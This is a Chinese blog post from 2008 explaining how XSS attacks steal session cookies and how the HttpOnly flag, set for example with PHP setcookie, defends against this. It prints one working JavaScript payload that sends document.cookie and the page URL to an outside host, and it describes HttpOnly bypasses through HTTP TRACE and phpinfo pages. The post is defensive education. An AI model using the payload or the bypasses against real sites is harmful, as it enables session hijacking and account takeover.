利用httponly提升应用程序安全性

    [晴 March 26, 2008 10:57 | by ]
By 剑心
随着www服务的兴起,越来越多的应用程序转向了B/S结构,这样只需要一个浏览器就可以访问各种各样的web服务,但是这样也越来越导致了越来越多的web安全问题。www服务依赖于Htpp协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie或者Session等技术来标记访问者的状态,而无论是Cookie还是Session,一般都是利用Cookie来实现的(Session其实是在浏览器的Cookie里带了一个Token来标记,服务器取得了这个Token并且检查合法性之后就把服务器上存储的对应的状态和浏览器绑定),这样就不可避免地安全聚焦到了Cookie上面,只要获得这个Cookie,就可以取得别人的身份,这对于入侵者是一件很美妙的事情,特别当获得的Cookie属于管理员等高权限身份者时,危害就更大了。在各种web安全问题里,其中xss漏洞就因此显得格外危险。

    对于应用程序来说,一旦存在了xss漏洞就意味着别人可以在你的浏览器中执行任意的js脚本,如果应用程序是开源的或者功能是公开的话,别人就可以利用ajax使用这些功能,但是过程往往很烦琐,特别是想直接获得别人身份做随意浏览的话困难就更大。而对于不开源的应用程序,譬如某些大型站点的web后台(web2.0一个显著的特征就是大量的交互,用户往往需要跟后台的管理员交互,譬如Bug汇报,或者信息投递等等),尽管因为交互的存在可能存在跨站脚本漏洞,但是因为对后台的不了解,无法构造完美的ajax代码来利用,即使可以用js取得后台的代码并回传分析,但是过程同样烦琐而且不隐蔽。这个时候,利用xss漏洞获得Cookie或者Session劫持就很有效了,具体分析应用程序的认证,然后使用某些技巧,甚至可以即使对方退出程序也一样永久性获得对方的身份。

    那么如何获得Cookie或者Session劫持呢?在浏览器中的document对象中,就储存了Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有别人的身份了。一个很典型的xss攻击语句如下:

xss exp:
    url=document.top.location.href;
    cookie=document.cookie;
    c=new Image();
    c.src='http://www.loveshell.net/c.php?c='+cookie+'&u='+url;

    一些应用程序考虑到这个问题所在,所以可能会采取浏览器绑定技术,譬如将Cookie和浏览器的User-agent绑定,一旦发现修改就认为Cookie失效。这种方法已经证明是无效的,因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定,但是一些程序取得IP的方法有问题一样导致饶过),但是这样就带来很差的用户体验,更换Ip是经常的事,譬如上班与家里就是2个IP,所以这种方法往往也不给予采用。所以基于Cookie的攻击方式现在就非常流行,在一些web 2.0站点很容易就取到应用程序的管理员身份。

    如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookies浏览器document中不可见就行了。很幸运,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。关于HttpOnly说明可以参照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx

    给浏览器设置Cookie的头如下:
    Set-Cookie: <name>=<value>[; <name>=<value>]
    [; expires=<date>][; domain=<domain_name>]
    [; path=<some_path>][; secure][; HttpOnly]

    以php为例,在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持,譬如
    <?php
    setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
    ?>

    就可以设置abc这个cookie,将其设置为HttpOnly,document将不可见这个Cookie。因为setcookie函数本质就是个header,所以一样可以使用header来设置HttpOnly。然后再使用document.cookie就可以看到已经取不到这个Cookie了。我们用这种方法来保护利例如Sessionid,如一些用于认证的auth-cookie,就不用担心身份被人获得了,这对于一些后台程序和webmail提升安全性的意义是重大的。再次使用上面的攻击手法时可以看到,已经不能获取被我们设置为HttpOnly的敏感Cookie了。

    但是,也可以看到HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交,甚至一些基于xss的proxy也出现了,但是已经可以提高攻击的门槛了,起码xss攻击不是每个脚本小子都能完成的了,而且其他的那些攻击手法因为一些环境和技术的限制,并不像Cookie窃取这种手法一样通用。

    HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出来,利用ajax或者flash就可以完成这种攻击,这种手法也已经在ajax和flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo,大家知道phpinfo会将浏览器发送的http头回显出来,其中就包括我们保护的auth信息,而这个页面经常存在在各种站点上,只要用ajax取phpinfo页面,取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露,这种攻击方式对于basic验证保护的页面一样可以攻击。

    HttpOnly在IE 6以上,Firefox较新版本都得到了比较好的支持,并且在如Hotmail等应用程序里都有广泛的使用,并且已经是取得了比较好的安全效果。
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